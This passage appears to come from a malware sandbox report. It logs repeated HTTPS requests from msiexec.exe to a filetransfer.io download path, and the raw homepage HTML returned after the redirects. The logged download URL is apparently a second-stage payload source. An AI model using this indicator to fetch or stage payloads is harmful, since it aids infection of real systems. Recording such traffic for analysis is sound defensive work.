MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilelistL
2025-01-10 19:14:31 UTC	1369	IN	Data Raw: 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 58 58 58 58 Data Ascii: SAGES.time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fXXXXX
2025-01-10 19:14:31 UTC	1358	IN	Data Raw: 22 53 77 69 74 63 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e 3c 2f 73 70 Data Ascii: "Switch to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle"></sp
2025-01-10 19:14:31 UTC	1369	IN	Data Raw: 32 61 32 38 0d 0a 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d Data Ascii: 2a28<hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Frem
2025-01-10 19:14:31 UTC	1369	IN	Data Raw: 73 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 Data Ascii: s</label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="ma
2025-01-10 19:14:31 UTC	1369	IN	Data Raw: 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 20 63 61 6e 6e 6f 74 20 62 65 20 61 64 64 65 64 20 61 6c 6c 20 61 74 20 6f 6e 63 65 2c 20 70 Data Ascii: lass="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories"><span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span> cannot be added all at once, p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	57947	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:31 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:32 UTC	621	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:32 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:32 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F8i%2Bn%2F%2F7v01Kj5Krz0IubbD7KlyRI0ITBHRhsdafo5T1NMm3W9sxhfdOd5u9X6gsEnW07Byn8mTIDxyb4RGo3hwiNwzJzHNZpVDyyXHXs%2Fm8VQfXr9%2BseVVHV1ugMPrc4Dw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd964b00de97-EWR
2025-01-10 19:14:32 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	57948	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:32 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:32 UTC	946	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: 2Rk32V6s7je2QWgH3ARarACMAeqCJPhMyIzAjLO0iQTeglRdmx8Xq8DIBM+2GjN8N1NuOly9UuQ= x-amz-request-id: WGB0HEENSN4NPPJF Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dipRCJDFsvSrS38d6TwvI4eYY2T9u%2F7Sl0ZaBsy3orEjLjAacF7U8NWBIAsm1TwB513JdN3RAgKHQ6pGMEnqGixHEgxz%2F3u0qmdQcG%2FLSTCVVCVKfv4fMg8lsHQZGjOW%2FOo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd9a1b5cefa1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1786&min_rtt=1779&rtt_var=681&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=798&delivery_rate=1589548&cwnd=165&unsent_bytes=0&cid=faf8179f2e947deb&ts=195&x=0"
2025-01-10 19:14:32 UTC	423	IN	Data Raw: 32 31 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 21a8<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:32 UTC	1369	IN	Data Raw: 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a 64 65 73 63 72 69 Data Ascii: eta charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:descri
2025-01-10 19:14:32 UTC	1369	IN	Data Raw: 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e 70 6e 67 22 3e 0a Data Ascii: ouch-icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.png">
2025-01-10 19:14:32 UTC	1369	IN	Data Raw: 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 Data Ascii: ng"><meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" content="web
2025-01-10 19:14:32 UTC	1369	IN	Data Raw: 6e 6e 69 6e 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c 69 73 74 4c 65 61 Data Ascii: nning of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilelistLea
2025-01-10 19:14:32 UTC	1369	IN	Data Raw: 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 58 58 58 58 40 73 Data Ascii: GES.time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fXXXXX@s
2025-01-10 19:14:32 UTC	1356	IN	Data Raw: 77 69 74 63 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e 3c 2f 73 70 61 6e Data Ascii: witch to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle"></span
2025-01-10 19:14:32 UTC	1369	IN	Data Raw: 32 61 32 38 0d 0a 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d Data Ascii: 2a28<hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Frem
2025-01-10 19:14:32 UTC	1369	IN	Data Raw: 73 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 Data Ascii: s</label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="ma
2025-01-10 19:14:32 UTC	1369	IN	Data Raw: 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 20 63 61 6e 6e 6f 74 20 62 65 20 61 64 64 65 64 20 61 6c 6c 20 61 74 20 6f 6e 63 65 2c 20 70 Data Ascii: lass="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories"><span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span> cannot be added all at once, p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	57949	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:33 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:33 UTC	619	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:33 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:33 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VOcqfczE%2BM6yAu%2FcR62DBnCvXjzfLK2C4qAYlkdwI4TD6BDF36QnKyw%2BgbIMiEWwAoKmMn6N6grSEixeBnW383S9YKwr9SC%2FulJgFhEYmzsNxOygTcZEIqs95DvFRC%2B3nyQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefda029a472a1-EWR
2025-01-10 19:14:33 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	57950	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:34 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:34 UTC	952	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: ke/8WOFZBL7kMb/6BLyLjDD+YHeh2a8fiRChktvx6RZiciS+nZaoAGWpycRuBqpgurUn1X/oJYQ= x-amz-request-id: ZXTEECJDGXS8RP1X Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8%2B1HUCe9sANssCPeVVxirlVZFdN4xr0FlQepVq%2Bybd4papsUgozMCrmyQXu0GnlqMrhH1DFWXGI%2BzwsoxNivi%2Bd0UjKOvoeO%2Br73LfMzWQl9qwNaEZtWN%2Fzp7%2FSaPsE1cuQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefda3fc464385-EWR 